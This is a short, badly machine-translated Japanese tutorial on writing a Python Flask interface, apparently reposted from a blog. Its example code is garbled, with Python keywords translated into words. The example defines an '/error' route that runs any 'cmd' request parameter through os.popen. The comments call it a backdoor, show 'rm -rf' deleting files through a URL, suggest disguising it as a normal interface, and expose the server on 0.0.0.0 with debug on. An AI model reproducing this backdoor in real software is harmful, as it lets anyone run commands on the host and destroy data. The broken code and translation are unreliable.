pythonを使用して、インターフェイスを書きます

開発段階: 

1、サーバーのインスタンス化

図2に示すように、次の関数デコレータはインタフェースなります

3、サービスを開始

開発ツールとプロセス:

Pythonライブラリ:フラスコ= "サーバーのインスタンスを作成:サーバー= flask.Flask(__ name__)=" @のserver.route( '/インデックス'、メソッド= [ 'ポスト'])

=「DEFインデックス(引数):{}

例:

OSをインポート
する@ server.route( '/エラー'、メソッド= [ 'GET'])
DEFのCMD():
CMD = flask.request.values.get( 'CMD')インタフェース参照番号へ
のRES =のos.popen(CMD )#ユーザーコマンドを実行
返すres.read()#は結果を返す
#http://127.0.0.1:8888/error?cmd=rm -rf A.TXTバックドアインターフェースはブラウザプロジェクトから直接ファイルを削除することができます
#隠された小さな方法、CMD = flask.request.values( 'cmdを'、なし) 通常の書き込みインタフェース
#デフォルトは通過しないかもしれないが、再パス= os.popen、RES(CMD)
server.run(ポート= 8888、デバッグ=確かに、ホスト=「0.0.0.0」) #は、 サービスを開始し
、真の#デバッグ=の後、再起動しない、コードを変更し、それが自動的に再起動します
#「ホスト=」0.0.0.0「は他の人をIP経由でアクセスすることができます

おすすめ

転載: www.cnblogs.com/xiennnnn/p/11599694.html